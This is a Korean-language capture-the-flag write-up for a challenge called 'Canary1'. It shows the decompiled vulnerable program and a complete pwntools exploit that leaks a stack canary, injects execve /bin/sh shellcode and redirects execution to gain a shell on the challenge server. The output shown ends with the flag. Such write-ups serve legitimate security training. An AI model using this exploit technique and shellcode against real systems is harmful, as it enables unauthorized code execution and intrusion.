Canary1

```
int __fastcall main(int argc, const char **argv, const char **envp)
{
  char exit; // [rsp+Fh] [rbp-71h] BYREF
  char buf[104]; // [rsp+10h] [rbp-70h] BYREF
  unsigned __int64 v6; // [rsp+78h] [rbp-8h]

  v6 = __readfsqword(0x28u);
  setvbuf(_bss_start, 0LL, 2, 0LL);
  printf("buf Addr : %p\n", buf);
  do
  {
    printf("Input MSG : ");
    read(0, buf, 0x100uLL);
    puts(buf);
    printf("quit? ");
    __isoc99_scanf("%c", &exit);
    getchar();
  }
  while ( exit != 'q' );
  return 0;
}
```

x64 바이너리이고, 보호기법은 카나리만 적용되어 있다.
BOF가 가능하고 NX가 적용되지 않으므로 canary leak하고 셸코드를 넣으면 될 것 같다. (buf의 주소도 제공한다.)

Exploit

```
from pwn import *

# p = process('./leak_canary')
p = remote('realsung.kr', 10023)

# context.log_level = 'debug'

p.recvuntil(b' : ')
buf_addr = p.recvuntil(b'\n').decode()
buf_addr = int(buf_addr, 16)

p.recvuntil(b' MSG : ')

SHELLCODE = b"\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05"
pay = SHELLCODE
pay += b"A" * (0x70 - len(SHELLCODE) - 0x8 + 1)

p.send(pay)
p.recvuntil(pay)

canary = b'\x00'+p.recvuntil(b'\n')[:7]

print("[+] CANARY: ", canary, "-", len(canary))
print("[+] BUF ADDR: ", buf_addr, "-", hex(buf_addr))

p.recvuntil(b'uit? ')
p.sendline(b'N')

p.recvuntil(b' MSG : ')
pay = SHELLCODE
pay += b"A" * (0x70 - len(SHELLCODE) - 0x8)
pay += canary
pay += b"F" * 8
pay += p64(buf_addr)

p.send(pay)
pause()
```

```
p.recvuntil(b'uit? ')
p.sendline(b'q')

p.interactive()
```

`execve()` 셸코드를 사용해서 잘 안되는 이슈가 있었지만 다른 셸코드를 사용하니 정상적으로 동작했다.

```
root@c97a0f26823c /pwn
❯ python3 lc_pay.py
[+] Opening connection to realsung.kr on port 10023: Done
[+] CANARY:  b'\x00i\x0c}?9u\xa7' - 8
[+] BUF ADDR:  140734209041840 - 0x7fff3c89a5b0
[*] Switching to interactive mode
$ id
uid=1000(pwn) gid=1000(pwn) groups=1000(pwn)
$ cat flag
Sunrin{134k_Caaaaanary}
```